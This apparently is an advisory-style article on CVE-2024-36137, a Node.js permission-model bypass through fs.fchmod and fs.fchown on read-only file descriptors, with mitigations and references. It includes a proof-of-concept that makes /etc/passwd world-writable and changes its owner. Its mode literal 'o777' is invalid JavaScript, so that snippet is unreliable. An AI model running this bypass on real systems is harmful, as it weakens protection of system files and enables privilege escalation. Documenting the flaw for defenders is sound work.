CVE-2024-36137 - Node.js File Descriptor Exploit in Permission Model with --allow-fs-write

A newly-discovered vulnerability, CVE-2024-36137, affects the Node.js runtime when using the *experimental permission model*. This flaw allows attackers to bypass the intended security restrictions and modify file ownership and permissions, even when those files were only opened as "read-only." This article will walk you through what the vulnerability is, why it matters, show you code snippets to reproduce the exploit, and link to the most useful references available.

What’s the Node.js Permission Model?

Introduced in Node.js v20 as an experimental feature, the *Permission Model* allows developers to lock down what resources a script can touch at runtime. For example, you can use flags like --allow-fs-write, --allow-net, etc., to only allow specific actions. It’s been a welcome security improvement for restricting what bugs or malicious dependencies can do.

Here's an example of using the model

node --experimental-permission --allow-fs-write=/tmp ./server.js

This should, in theory, allow your script to only *write* to /tmp and only *read* other files, right?

The Bug: File Descriptor Loophole

Here’s where CVE-2024-36137 comes in. The Node.js permission model checks high-level file operation requests (like calling fs.writeFile or fs.chmod) according to the allowed paths. But *it does not check* low-level file descriptor operations. Functions like fs.fchown and fs.fchmod operate directly on existing file descriptors, so if you can get a read-only handle to any file (which --allow-fs-read or your default permissions may allow), you can then *change the file’s ownership or permissions*—even if you weren’t supposed to touch it!

Example Exploit Code

Suppose you only allow your script to *read* /etc/passwd, but not modify it. If you give it the permission to write somewhere else using --allow-fs-write, you’d expect it to not affect system files.

However, this code will escalate actions

const fs = require('fs');

// Open /etc/passwd in read-only mode
const fd = fs.openSync('/etc/passwd', 'r');

// This should NOT be allowed, but...
fs.fchmodSync(fd, o777); // Change permissions to world-writable!
fs.fchownSync(fd, process.getuid(), process.getgid()); // Change owner/group!

fs.closeSync(fd);

If running under

node --experimental-permission --allow-fs-read=/etc/passwd --allow-fs-write=/tmp your-exploit.js

The permission model fails to trap this, and you just changed permissions or ownership of a supposedly protected file.

Why Is This Dangerous?

- Escalation: Malicious packages or untrusted scripts can change permissions or ownership of key files.
- Bypass Security: System files you expect to be protected (because you only allowed reading) can have their permissions loosened, opening the door for follow-up attacks.
- Unexpected Impact: Typical users of Node.js may have relied on the permission model to sandbox code. This loophole can defeat their security.

Who’s Affected?

*Anyone who runs Node.js code with the experimental permission model enabled, and uses the --allow-fs-write flag.* For now, Node.js v20/v21 (where the feature is available) is affected before the patch.

Fixes and Mitigations

- Upgrade Node.js: The Node.js team has patched this in the latest releases. Always use the most recent stable version.
- Audit Permissions: Avoid --allow-fs-write unless absolutely necessary. Consider that read-only access can be used in clever ways.
- Monitor Third-Party Code: Be extra careful sourcing dependencies. Avoid running untrusted code with elevated permissions.
- Disable Permission Model: If you can't rely on the permission model due to this (or other experimental) bugs, isolate code using OS level mechanisms (chroot, containers, etc).

References

- Node.js Security Release Summary - June 18, 2024
- NVD Entry for CVE-2024-36137
- Node.js Permission Model Documentation
- Changelog for Node.js Permissions
- Node.js Issue Tracker: Permission Model Bugs

Conclusion

CVE-2024-36137 highlights just how tricky it is to enforce sandboxing at the application level, especially when low-level OS features like file descriptors are involved. If you use the Node.js permission model in production, update immediately and review your settings. Remember: experimental features can have sharp edges—and thanks to the security community for catching this one before it became widespread.


Stay safe, and share this with any friends running Node.js with experimental permissions!

Timeline

Published on: 09/07/2024 16:15:02 UTC
Last modified on: 11/22/2024 12:15:18 UTC